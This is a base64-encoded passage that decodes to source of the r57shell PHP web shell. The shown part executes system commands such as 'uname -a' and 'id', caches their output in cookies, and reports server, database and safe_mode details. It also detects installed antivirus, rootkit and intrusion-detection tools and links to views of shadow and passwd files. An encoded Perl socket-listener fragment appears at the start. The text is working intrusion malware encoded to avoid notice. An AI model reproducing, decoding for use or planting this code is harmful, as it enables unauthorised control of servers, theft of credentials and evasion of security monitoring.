EMGdjMjlqYTJGa1pISmZhVzRnS0NSd2IzSjBMQ0JKVGtGRVJGSmZRVTVaS1RzS2MyOWphMlYwSUNoVFQwTkxMQ0JCUmw5SlRrVlVMQ0JUVAowTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdlkyOXNLU0J2Y2lCa2FXVWdJbk52WTJ0bGRDZ3BPaUFrSVNJN0NuTmxkSE52WTJ0dmNIUWdLRk5QUTBzc0lGTlBURjlUVDBOTFJWUXNJRk5QWDFKRlZWTkZRVVJFClVpd3hJQ2tnYjNJZ1pHbGxJQ0p6WlhSemIyTnJiM0IwS0NrNklDUWhJanNLWW1sdVpDQW9VMDlEU3l3Z0pHMTVYMkZrWkhJcElHOXlJR1JwWlNBaVltbHVaQ2dwT2lBa0lTSTdDbXhwYzNSbGJpQW9VMDkKRFN5d2dVMDlOUVZoRFQwNU9LU0J2Y2lCa2FXVWdJbXhwYzNSbGJpZ3BPaUFrSVNJN0NpUlRTVWQ3SjBsT1ZDZDlJRDBnYzNWaUlIc0tZMnh2YzJVZ0tGTlBRMHNwT3dwbGVHbDBPd3A5T3dwM2FHbHNaUwpBb01Ta2dld3B1WlhoMElIVnViR1Z6Y3lCdGVTQWtjbVZ0YjNSbFgyRmtaSElnUFNCaFkyTmxjSFFnS0ZORlUxTkpUMDRzSUZOUFEwc3BPd3B0ZVNBb0pHWnBjM1FzSUNSdFpYUm9iMlFzSUNSeVpXMXZkCkdWZmFHOXpkQ3dnSkhKbGJXOTBaVjl3YjNKMEtTQTlJR0Z1WVd4NWVtVmZjbVZ4ZFdWemRDZ3BPd3BwWmlodmNHVnVYMk52Ym01bFkzUnBiMjRnS0ZKRlRVOVVSU3dnSkhKbGJXOTBaVjlvYjNOMExDQWsKY21WdGIzUmxYM0J2Y25RcElEMDlJREFwSUhzS1kyeHZjMlVnS0ZORlUxTkpUMDRwT3dwdVpYaDBPd3A5Q25CeWFXNTBJRkpGVFU5VVJTQWtabWx5YzNRN0NuQnlhVzUwSUZKRlRVOVVSU0FpVlhObGNpMQpCWjJWdWREb2dSMjl2WjJ4bFltOTBMekl1TVNBb0syaDBkSEE2THk5M2QzY3VaMjl2WjJ4bExtTnZiUzlpYjNRdWFIUnRiQ2xjYmlJN0NuZG9hV3hsSUNnOFUwVlRVMGxQVGo0cElIc0tibVY0ZENCcFppCkFvTDFCeWIzaDVMVU52Ym01bFkzUnBiMjQ2THlCOGZDQXZWWE5sY2kxQloyVnVkRG92S1RzS2NISnBiblFnVWtWTlQxUkZJQ1JmT3dwc1lYTjBJR2xtSUNna1h5QTlmaUF2WGx0Y2MxeDRNREJkS2lRdksKVHNLZlFwd2NtbHVkQ0JTUlUxUFZFVWdJbHh1SWpzS0pHaGxZV1JsY2lBOUlERTdDbmRvYVd4bElDZzhVa1ZOVDFSRlBpa2dld3B3Y21sdWRDQlRSVk5UU1U5T0lDUmZPd3BwWmlBb0pHaGxZV1JsY2lrZwpleUFnSUNBZ0NtbG1JQ2drYUdWaFpHVnlJQ1ltSUNSZklEMStJQzllVzF4elhIZ3dNRjBxSkM4cElIc0tKR2hsWVdSbGNpQTlJREE3Q24wS2ZRcDlDbU5zYjNObElDaFNSVTFQVkVVcE93cGpiRzl6WlNBCm9VMFZUVTBsUFRpazdDbjBLWTJ4dmMyVWdLRk5QUTBzcE93cHpkV0lnWVc1aGJIbDZaVjl5WlhGMVpYTjBJSHNLYlhrZ0tDUm1hWE4wTENBa2RYSnNMQ0FrY21WdGIzUmxYMmh2YzNRc0lDUnlaVzF2ZEcKVmZjRzl5ZEN3Z0pHMWxkR2h2WkNrN0NpUm1hWEp6ZENBOUlEeFRSVk5UU1U5T1Bqc0tKSFZ5YkNBOUlDZ2tabWx5YzNRZ1BYNGdiWHdvYUhSMGNEb3ZMMXhUS3lsOEtWc3dYVHNLS0NSdFpYUm9iMlFzSQpDUnlaVzF2ZEdWZmFHOXpkQ3dnSkhKbGJXOTBaVjl3YjNKMEtTQTlJQW9vSkdacGNuTjBJRDErSUcwaEtFZEZWQ2tnYUhSMGNEb3ZMeWhiWGk4NlhTc3BPajhvWEdRcUtTRWdLVHNLYVdZZ0tDRWtjbVZ0CmIzUmxYMmh2YzNRcElIc0tZMnh2YzJVb1UwVlRVMGxQVGlrN0NtVjRhWFE3Q24wS0pISmxiVzkwWlY5d2IzSjBJRDBnSW1oMGRIQWlJSFZ1YkdWemN5QW9KSEpsYlc5MFpWOXdiM0owS1RzS0pHWnBjbk4KMElEMStJSE12YUhSMGNEcGNMMXd2VzE1Y0wxMHJMeTg3Q25KbGRIVnliaUFvSkdacGNuTjBMQ0FrYldWMGFHOWtMQ0FrY21WdGIzUmxYMmh2YzNRc0lDUnlaVzF2ZEdWZmNHOXlkQ2s3Q24wS2MzVmlJRwo5d1pXNWZZMjl1Ym1WamRHbHZiaUI3Q20xNUlDZ2thRzl6ZEN3Z0pIQnZjblFwSUQwZ1FGOWJNU3d5WFRzS2JYa2dLQ1JrWlhOMFgyRmtaSElzSUNSamRYSXBPd3BwWmlBb0pIQnZjblFnSVg0Z0wxNWNaCkNza0x5a2dld29rY0c5eWRDQTlJQ2huWlhSelpYSjJZbmx1WVcxbEtDUndiM0owTENBaWRHTndJaWtwV3pKZE93b2tjRzl5ZENBOUlEZ3dJSFZ1YkdWemN5QW9KSEJ2Y25RcE93cDlDaVJvYjNOMElEMGcKYVc1bGRGOWhkRzl1SUNna2FHOXpkQ2tnYjNJZ2NtVjBkWEp1SURBN0NpUmtaWE4wWDJGa1pISWdQU0J6YjJOcllXUmtjbDlwYmlBb0pIQnZjblFzSUNSb2IzTjBLVHNLYzI5amEyVjBJQ2drWDFzd1hTdwpnUVVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lDUndjbTkwYjJOdmJDa2diM0lnWkdsbElDSnpiMk5yWlhRb0tTQTZJQ1FoSWpzS1kyOXVibVZqZENBb0pGOWJNRjBzSUNSa1pYTjBYMkZrWkhJcElHCjl5SUhKbGRIVnliaUF3T3dva1kzVnlJRDBnYzJWc1pXTjBLQ1JmV3pCZEtUc2dJQW9rZkNBOUlERTdDbk5sYkdWamRDZ2tZM1Z5S1RzS2NtVjBkWEp1SURFN0NuMD0iOwppZigkdW5peCkKIHsKIGlmKCFpc3NldCgkX0NPT0tJRVsndW5hbWUnXSkpIHsgJHVuYW1lID0gZXgoJ3VuYW1lIC1hJyk7IHNldGNvb2tpZSgndW5hbWUnLCR1bmFtZSk7IH0gZWxzZSB7ICR1bmFtZSA9ICRfQ09PS0lFWyd1bmFtZSddOyB9CiBpZighaXNzZXQoJF9DT09LSUVbJ2lkJ10pKSB7ICRpZCA9IGV4KCdpZCcpOyBzZXRjb29raWUoJ2lkJywkaWQpOyB9IGVsc2UgeyAkaWQgPSAkX0NPT0tJRVsnaWQnXTsgfQogaWYoJHNhZmVfbW9kZSkgeyAkc3lzY3RsID0gJy0nOyB9CiBlbHNlIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwnXSkpIHsgJHN5c2N0bCA9ICRfQ09PS0lFWydzeXNjdGwnXTsgfQogZWxzZQogIHsKICAgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2Vybi5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm4ub3NyZWxlYXNlJyk7CiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSBleCgnc3lzY3RsIC1uIGtlcm5lbC5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm5lbC5vc3JlbGVhc2UnKTsgfQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gJy0nOyB9CiAgIHNldGNvb2tpZSgnc3lzY3RsJywkc3lzY3RsKTsKICB9CiB9CmVjaG8gJGhlYWQ7CmVjaG8gJzwvaGVhZD4nOwoKZWNobyAnPGJvZHk+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYyB3aWR0aD0xNjA+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9Mj4nLndzKDIpLic8Zm9udCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48Yj4nLndzKDIpLidyNTdzaGVsbCAnLiR2ZXJzaW9uLic8L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4nOwplY2hvIHdzKDIpLiI8Yj4iLmRhdGUgKCJkLW0tWSBIOmk6cyIpLiI8L2I+IFlvdXIgSVA6IFs8Zm9udCBjb2xvcj1ibHVlPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIjwvZm9udD5dIjsKaWYoaXNzZXQoJF9TRVJWRVJbJ1hfRk9SV0FSREVEX0ZPUiddKSl7ZWNobyAiIFhfRk9SV0FSREVEX0ZPUjogWzxmb250IGNvbG9yPXJlZD4iLiRfU0VSVkVSWydYX0ZPUldBUkRFRF9GT1InXS4iPC9mb250Pl0iO30KaWYoaXNzZXQoJF9TRVJWRVJbJ0NMSUVOVF9JUCddKSl7ZWNobyAiIENMSUVOVF9JUDogWzxmb250IGNvbG9yPXJlZD4iLiRfU0VSVkVSWydDTElFTlRfSVAnXS4iPC9mb250Pl0iO30KZWNobyAiIFNlcnZlciBJUDogWzxmb250IGNvbG9yPWJsdWU+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvZm9udD5dIjsKCmVjaG8gIjxicj4iOwoKZWNobyB3cygyKS4iUEhQIHZlcnNpb246IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiI7CiRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7CmVjaG8gd3MoMik7CmVjaG8gImNVUkw6IDxiPiIuKCgkY3VybF9vbik/KCI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IikpOwplY2hvICI8L2I+Ii53cygyKTsKZWNobyAiTXlTUUw6IDxiPiI7CiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKaWYoJG15c3FsX29uKXsKZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOyB9CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJNU1NRTDogPGI+IjsKJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOwppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iO30KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIlBvc3RncmVTUUw6IDxiPiI7CiRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsKaWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+Ijt9CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJPcmFjbGU6IDxiPiI7CiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+Ijt9CmVjaG8gIjwvYj48YnI+Ii53cygyKTsKCmVjaG8gIlNhZmVfbW9kZTogPGI+IjsKZWNobyAoKCRzYWZlX21vZGUpPygiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+Iik6KCI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiIpKTsKZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk9wZW5fYmFzZWRpcjogPGI+IjsKaWYoJG9wZW5fYmFzZWRpcikgeyBpZiAoJyc9PSgkZGY9QGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPXJlZD5pbmlfZ2V0IGRpc2FibGUhPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj4kZGY8L2ZvbnQ+PC9iPiI7fTt9CmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPXJlZD5OT05FPC9mb250PjwvYj4iO30KZWNobyB3cygyKS4iU2FmZV9tb2RlX2V4ZWNfZGlyOiA8Yj4iOwppZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHsgaWYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkpIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Tk9ORTwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+JGRmPC9mb250PjwvYj4iO307fQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+aW5pX2dldCBkaXNhYmxlITwvZm9udD48L2I+Ijt9CmVjaG8gd3MoMikuIlNhZmVfbW9kZV9pbmNsdWRlX2RpcjogPGI+IjsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmICgnJz09KCRkZj1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpKSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQplY2hvICI8YnI+Ii53cygyKTsKZWNobyAiRGlzYWJsZSBmdW5jdGlvbnMgOiA8Yj4iOyRkZj0naW5pX2dldCAgZGlzYWJsZSEnOwppZigoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSAmJiAoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKSl7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+Ijt9CgokZnJlZSA9IEBkaXNrZnJlZXNwYWNlKCRkaXIpOwppZiAoISRmcmVlKSB7JGZyZWUgPSAwO30KJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpOwppZiAoISRhbGwpIHskYWxsID0gMDt9CmVjaG8gIjxicj4iLndzKDIpLiJGcmVlIHNwYWNlIDogPGI+Ii52aWV3X3NpemUoJGZyZWUpLiI8L2I+IFRvdGFsIHNwYWNlOiA8Yj4iLnZpZXdfc2l6ZSgkYWxsKS4iPC9iPiI7CgokdXN0PScnOwppZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7CmlmICh3aGljaCgnZ2NjJykpIHskdXN0Lj0iZ2NjLCI7fQppZiAod2hpY2goJ2NjJykpIHskdXN0Lj0iY2MsIjt9CmlmICh3aGljaCgnbGQnKSkgeyR1c3QuPSJsZCwiO30KaWYgKHdoaWNoKCdwaHAnKSkgeyR1c3QuPSJwaHAsIjt9CmlmICh3aGljaCgncGVybCcpKSB7JHVzdC49InBlcmwsIjt9CmlmICh3aGljaCgncHl0aG9uJykpIHskdXN0Lj0icHl0aG9uLCI7fQppZiAod2hpY2goJ3J1YnknKSkgeyR1c3QuPSJydWJ5LCI7fQppZiAod2hpY2goJ21ha2UnKSkgeyR1c3QuPSJtYWtlLCI7fQppZiAod2hpY2goJ3RhcicpKSB7JHVzdC49InRhciwiO30KaWYgKHdoaWNoKCduYycpKSB7JHVzdC49Im5ldGNhdCwiO30KaWYgKHdoaWNoKCdsb2NhdGUnKSkgeyR1c3QuPSJsb2NhdGUsIjt9CmlmICh3aGljaCgnc3VpZHBlcmwnKSkgeyR1c3QuPSJzdWlkcGVybCwiO30KfQppZiAoQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZXhlYycpKSB7JHVzdC49InBjbnRsX2V4ZWMsIjt9CiNpZiAod2hpY2goJycpKSB7JHVzdC49IiwiO30KaWYoJHVzdCl7ZWNobyAiPGJyPiIud3MoMikuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNyddLiI6IDxmb250IGNvbG9yPWJsdWU+Ii4kdXN0LiI8L2ZvbnQ+Ijt9CgokdXN0PScnOwppZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7CmlmICh3aGljaCgna2F2JykpIHskdXN0Lj0ia2F2LCI7fQppZiAod2hpY2goJ25vZDMyJykpIHskdXN0Lj0ibm9kMzIsIjt9CmlmICh3aGljaCgnYmRjb3JlZCcpKSB7JHVzdC49ImJpdGRlZmVuZGVyLCI7fQppZiAod2hpY2goJ3V2c2NhbicpKSB7JHVzdC49Im1jYWZlZSwiO30KaWYgKHdoaWNoKCdzYXYnKSkgeyR1c3QuPSJzeW1hbnRlYywiO30KI2lmICh3aGljaCgnJykpIHskdXN0Lj0iLCI7fQppZiAod2hpY2goJ2Ryd2ViZCcpKSB7JHVzdD0iZHJ3ZWJkLCI7fQppZiAod2hpY2goJ2NsYW1kJykpIHskdXN0Lj0iY2xhbWQsIjt9CmlmICh3aGljaCgncmtodW50ZXInKSkgeyR1c3QuPSJya2h1bnRlciwiO30KaWYgKHdoaWNoKCdjaGtyb290a2l0JykpIHskdXN0Lj0iY2hrcm9vdGtpdCwiO30KaWYgKHdoaWNoKCdpcHRhYmxlcycpKSB7JHVzdC49ImlwdGFibGVzLCI7fQppZiAod2hpY2goJ2lwZncnKSkgeyR1c3QuPSJpcGZ3LCI7fQppZiAod2hpY2goJ3RyaXB3aXJlJykpIHskdXN0Lj0idHJpcHdpcmUsIjt9CmlmICh3aGljaCgnc2hpZWxkY2MnKSkgeyR1c3QuPSJzdGFja3NoaWVsZCwiO30KaWYgKHdoaWNoKCdwb3J0c2VudHJ5JykpIHskdXN0Lj0icG9ydHNlbnRyeSwiO30KaWYgKHdoaWNoKCdzbm9ydCcpKSB7JHVzdC49InNub3J0LCI7fQppZiAod2hpY2goJ29zc2VjJykpIHskdXN0Lj0ib3NzZWMsIjt9CmlmICh3aGljaCgnbGlkc2FkbScpKSB7JHVzdC49ImxpZHNhZG0sIjt9CmlmICh3aGljaCgndGNwbG9kZycpKSB7JHVzdC49InRjcGxvZGcsIjt9CmlmICh3aGljaCgndHJpcHdpcmUnKSkgeyR1c3QuPSJ0cmlwd2lyZSwiO30KaWYgKHdoaWNoKCdzeGlkJykpIHskdXN0Lj0ic3hpZCwiO30KaWYgKHdoaWNoKCdsb2djaGVjaycpKSB7JHVzdC49ImxvZ2NoZWNrLCI7fQppZiAod2hpY2goJ2xvZ3dhdGNoJykpIHskdXN0Lj0ibG9nd2F0Y2gsIjt9CiNpZiAod2hpY2goJycpKSB7JHVzdC49IiwiO30KfQppZiAoQGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykgJiYgQGluX2FycmF5KCdtb2Rfc2VjdXJpdHknLGFwYWNoZV9nZXRfbW9kdWxlcygpKSkgeyR1c3QuPSJtb2Rfc2VjdXJpdHksIjt9CmlmKCR1c3Qpe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzgnXS4iOiA8Zm9udCBjb2xvcj1yZWQ+JHVzdDwvZm9udD4iO30KCgplY2hvICI8YnI+Ii53cygyKS4iPC9iPiI7CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5mbyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ2J10uIlwiPjxiPnBocGluZm88L2I+PC9hPiAiLiRyYjsKZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmkgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4kcmI7CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/Y3B1IHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTAnXS4iXCI+PGI+Y3B1PC9iPjwvYT4gIi4kcmI7CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bWVtIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7CmlmKCEkdW5peCkgewogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zeXN0ZW1pbmZvIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTAnXS4iXCI+PGI+c3lzdGVtaW5mbzwvYj48L2E+ICIuJHJiOwp9ZWxzZXsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/c3lzbG9nIHRpdGxlPVwiVmlldyBzeXNsb2cuY29uZlwiPjxiPnN5c2xvZzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9yZXNvbHYgdGl0bGU9XCJWaWV3IHJlc29sdlwiPjxiPnJlc29sdjwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9ob3N0cyB0aXRsZT1cIlZpZXcgaG9zdHNcIj48Yj5ob3N0czwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zaGFkb3cgdGl0bGU9XCJWaWV3IHNoYWRvd1wiPjxiPnNoYWRvdzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9wYXNzd2QgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NSddLiJcIj48Yj5wYXNzd2Q8L2I+PC9hPiAiLiRyYjsKfQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3RtcCB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ4J10uIlwiPjxiPnRtcDwvYj48L2E+ICIuJHJiOwplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RlbGV0ZSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ5J10uIlwiPjxiPmRlbGV0ZTwvYj48L2E+ICIuJHJiOwoKaWYoJHVuaXggJiYgISRzYWZlX21vZGUpCnsKIGVjaG8gIjxicj4iLndzKDIpLiI8L2I+IjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cHJvY2luZm8gdGl0bGU9XCJWaWV3IHByb2NpbmZvXCI+PGI+cHJvY2luZm88L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dmVyc2lvbiB0aXRsZT1cIlZpZXcgcHJvYyB2ZXJzaW9uXCI+PGI+dmVyc2lvbjwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9mcmVlIHRpdGxlPVwiVmlldyBtZW0gZnJlZVwiPjxiPmZyZWU8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ZG1lc2coOCkgdGl0bGU9XCJWaWV3IGRtZXNnXCI+PGI+ZG1lc2c8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dm1zdGF0IHRpdGxlPVwiVmlldyB2bXN0YXRcIj48Yj52bXN0YXQ8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bHNwY2kgdGl0bGU9XCJWaWV3IGxzcGNpXCI+PGI+bHNwY2k8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bHNkZXYgdGl0bGU9XCJWaWV3IGxzZGV2XCI+PGI+bHNkZXY8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/aW50ZXJydXB0cyB0aXRsZT1cIlZpZXcgaW50ZXJydXB0c1wiPjxiPmludGVycnVwdHM8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cmVhbGlzZTEgdGl0bGU9XCJWaWV3IHJlYWxpc2UxXCI+PGI+cmVhbGlzZTE8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cmVhbGlzZTIgdGl0bGU9XCJWaWV3IHJlYWxpc2UyXCI+PGI+cmVhbGlzZTI8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bHNhdHRyIHRpdGxlPVwiVmlldyBsc2F0dHIgLXZhXCI+PGI+bHNhdHRyPC9iPjwvYT4gIi4kcmI7CgogZWNobyAiPGJyPiIud3MoMikuIjwvYj4iOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj93IHRpdGxlPVwiVmlldyB3XCI+PGI+dzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj93aG8gdGl0bGU9XCJWaWV3IHdob1wiPjxiPndobzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91cHRpbWUgdGl0bGU9XCJWaWV3IHVwdGltZVwiPjxiPnVwdGltZTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9sYXN0IHRpdGxlPVwiVmlldyBsYXN0IC1uIDEwXCI+PGI+bGFzdDwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9wc2F1eCB0aXRsZT1cIlZpZXcgcHMgLWF1eFwiPjxiPnBzIGF1eDwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zZXJ2aWNlIHRpdGxlPVwiVmlldyBzZXJ2aWNlXCI+PGI+c2VydmljZTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9pZmNvbmZpZyB0aXRsZT1cIlZpZXcgaWZjb25maWdcIj48Yj5pZmNvbmZpZzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9uZXRzdGF0IHRpdGxlPVwiVmlldyBuZXRzdGF0IC1hXCI+PGI+bmV0c3RhdDwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9mc3RhYiB0aXRsZT1cIlZpZXcgZnN0YWJcIj48Yj5mc3RhYjwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9mZGlzayB0aXRsZT1cIlZpZXcgZmRpc2sgLWxcIj48Yj5